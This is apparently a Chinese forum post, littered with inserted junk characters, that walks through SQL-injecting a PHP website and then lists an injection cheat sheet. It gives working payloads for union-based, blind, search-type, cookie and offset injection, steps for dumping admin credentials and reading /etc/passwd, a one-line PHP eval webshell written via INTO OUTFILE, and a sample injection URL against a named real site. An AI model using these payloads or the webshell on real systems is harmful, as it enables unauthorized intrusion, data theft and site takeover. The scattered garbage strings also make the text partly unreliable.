我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~
* ?8 n6 \9 j9 x- k2 e, V" R让我看看,既然人家开口了,我也不好拒绝,那就看看吧?
+ G( _2 Y9 E+ x- ^2 q我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。6 P! h( w, I0 Y7 R6 D6 R. X
如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。); V* e0 S" }5 S, O, o. Q) X$ y5 O
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)* `9 b! m0 P9 V& @ m) Q
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:
" s6 w# \2 l! e0 y, p0 lWarning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
# C4 F# d- p! N) s) b/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入; [/ H$ v6 y: W% E9 H
1 a: B# Z8 h h+ \' F5 C2 K/ v# N2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,- N$ T6 q) d# C2 j' E: S
3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意
0 q6 ~$ ]7 U3 O' A4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息
: G6 k6 d4 f& n) H' l/ q5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。1 X3 I' B2 U1 m
有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,
( m- o8 W$ r& |3 M2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。' W! ~# r# G2 I+ q, s
我就用的是第二个思路,
1 L. C# O" k5 j1 w0 ~) E提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1-- 5 }6 C# b& j* {; B
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,
7 k3 D+ D9 u, s J$ M3 w提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--
. h& s$ {/ \6 v: u/ w注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。
2 l/ n. h" ~; i" q1 o6 [0 ~5 |7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????
$ d: c! r: f# i- q. T+ J是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....
) O9 F5 m* m" Y2 a6 a提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --9 [& v7 H: r( d) V
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,' I. c: B0 x$ F9 E
调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
7 U0 y+ d4 m- N! k( S下面是一些很普遍注入方式资料:$ y* h; `! [2 F/ `
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='
; L2 W& k4 L" G拆半法
% X% ^! _- M7 ^% E5 z, n$ h7 w######################################
4 a1 q( Q* G$ z7 E- w5 ?( b: dand exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。) `5 E! v$ K2 s2 _/ e! E. V
and exists (select * from admin)
# Q! _" x. t8 W) gand exists(select id from admin)
6 \3 J! Y7 U* J$ n! y+ [( aand exists(select id from admin where id=1)
8 ?- c% e" T% H9 z zand exists(select id from admin where id>1)
0 m8 _, a: [6 g! F% a* @然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围
& g- R4 M, [3 I2 P" J! fand exists (select username from admin)( R" m8 k1 X- v8 B6 g5 M
and exists (select password from admin)
4 }" N$ N) {- z8 tand exists (select id from admin where len(username)<10 and id=1)
, N# e6 j" ]0 r; g/ Tand exists (select id from admin where len(username)>5 and id=1)
: a" ]' B% w- d- k) P Xand exists (select id from admin where len(username)=6 and id=1)
5 G! ~0 P8 T7 z; X" e0 v+ e" ]and exists (select id from admin where len(password)<10 and id=1)
- K# C: {; d& t, F# @1 Sand exists (select id from admin where len(password)>5 and id=1); V4 V, c0 K8 `# ~* ]# B: r
and exists (select id from admin where len(password)=7 and id=1)
& h0 D8 x" p0 d; b) g; c2 Zand (select top 1 asc(mid(username,1,1)) from admin)=97# ^. |% h- V4 T2 \/ w+ [
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
/ s4 m" T3 F5 {# k$ J猜第二位把username,1,1改成username,2,1就可以了。9 J# j: U9 u( s
猜密码把username改成password就OK了' s T# Z+ o8 x+ G) G9 G/ o8 x, U
##################################################1 P. V4 S+ l4 n4 G8 d
搜索型注入
; r& X; S2 p5 ?* X& R##################################
" b' S; c$ w5 x2 F ~! v%' and 1=1 and '%'='9 Z6 G/ ]# y' d2 n7 a n: M* s+ |! s
%' and exists (select * from admin) and '%'='* U. g7 h7 d) J* ^
%' and exists(select id from admin where id=1) and '%'='; F1 M R! J5 Q. {3 @0 U p! ?
%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
9 j' k2 }8 K4 q( V7 O6 G%' and exists (select id from admin where len(password)=7 and id=1) and '%'='% ?- H7 Y, L7 D7 t( R1 O( b
%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
0 L: n* N* A8 w+ F. M这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
; }6 ]* v: O9 Q$ H对于MSSQL数据库,后面可以吧 and '%'='换成--
# j$ Z3 F; ~5 h还有一点搜索型注入也可以使用union语句。
& I: [2 G' n) y' K########################################################2 r$ q4 J( T# V6 L' M3 c
联合查询。# [$ v+ b4 H, h2 X- D" F. |9 P+ u
#####################################( _# x/ Q) }' o" Q, v) w
order by 104 ~* R* u- J' y2 N9 R4 M
and 1=2 union select 1,2,3,4,5,6,7,8,9,10 q- k' g! a4 W! `0 m% P6 n
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin- |$ F( L$ g+ n5 w, z
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
' t3 q. o% g" i) G' X% x$ }0 G很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)( b) n2 J; Z; X5 `
###################################
3 x6 u$ k3 R7 j! H* u. v1 \0 F2 Dcookie注入
6 g! s$ T& x* q$ [. @###############################
; g& N2 \) P7 [; _1 Fhttp://www.******.com/shownews.asp?id=127
: Q' m x9 p& t' g5 a5 _7 ?http://www.******.com/shownews.asp% }4 Z, g% Y. b4 w1 K
alert(="id="+escape("127"));4 o, L% i7 S) e
alert(="id="+escape("127 and 1=1"));
# ?6 d5 s* {4 M+ d& W" v+ Nalert(="id="+escape("127 order by 10"));! _) I( T: M6 }9 o
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
0 U- p- v! a1 V! S& d) e/ F+ e0 B/ }alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));5 J* b; V1 v: @1 G
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。
: b( g% |2 f9 _ ~. M x9 y################################### Z. ^: B$ |! t
偏移注入/ `+ i6 ]$ G3 ^+ W: U# z6 P" W
###########################################################8 [$ ^8 E* r9 u5 A
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
|" v0 J$ u, j7 r2 u4 [1 t8 i" wunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
; i- M# v5 V' R! A6 W( _0 i( Zunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
/ W; [- R3 y5 y2 wunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id): C) r" r( u W$ z
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id). W8 a. P4 |6 k5 C0 F
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
) m! ?- B' n& p$ `& E1 @) [5 ?union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on4 g6 X% g7 N S( m3 R
a.id=d.id)
6 k' k9 d5 v" uand 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
0 r3 [" s: k9 u, f* I. W# O$ k9 Q- Jand 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
- m) Z) _, C: i( h3 |- B" E 4 ^. o; _! L6 \1 y% {$ V) h
============================================================================================================6 R$ r% V7 Z: L5 ]1 n. @
1.判断版本
. J w5 q# V, h% Nand ord(mid(version(),1,1))>51
0 \' l( j: g$ m4 F$ \! K返回正常,说明大于4.0版本,支持ounion查询 s5 x# Y& P& u
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解* V- t# k4 @+ s5 J3 j2 Z
and 2=4 union select 1,2,3,4,5,6,7,8,9--% K& c* o, \5 q( N
3.查看数据库版本及当前用户,
0 g. A3 p& g0 @+ Yand 2=4 union select 1,user(),version(),4,5,6,7,8,9--
, q7 V, _- Z) D$ i0 y数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,8 u. R! Q, a6 c& u7 S" B
4.判断有没有写权限, V# P0 f% Y3 K1 f( z
and (select count(*) from MySQL.user)>0--
+ w! L6 i+ N' f( a5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1/ U# t& N3 W& `, V) @" v9 M5 f
用不了这个命令,就学习土耳其黑客手法,如下; H2 q6 Q+ I8 q/ U* [7 I% r
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
$ T/ U) t/ r) @, `. s+ u. E6.爆表,爆库2 W$ F m4 E) t
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
7 K2 a# J4 G S) @" ]. T/ j3 a7.爆列名,爆表
* M) P6 T1 d* K2 i8 B s$ ~" ^and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
; Z& O. k E+ K, k5 W H8.查询字段数,直接用limit N,1去查询,直接N到报错为止。, C1 ?- t7 P0 N$ ^$ t) o
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--" T- T. z& z% u0 ~9 H$ [$ B6 u
9.爆字段内容! c! V. U; A) Y6 U# P- j. E; z3 h
and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
' j; l% n3 \& s3 o5 T- Rhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1-- |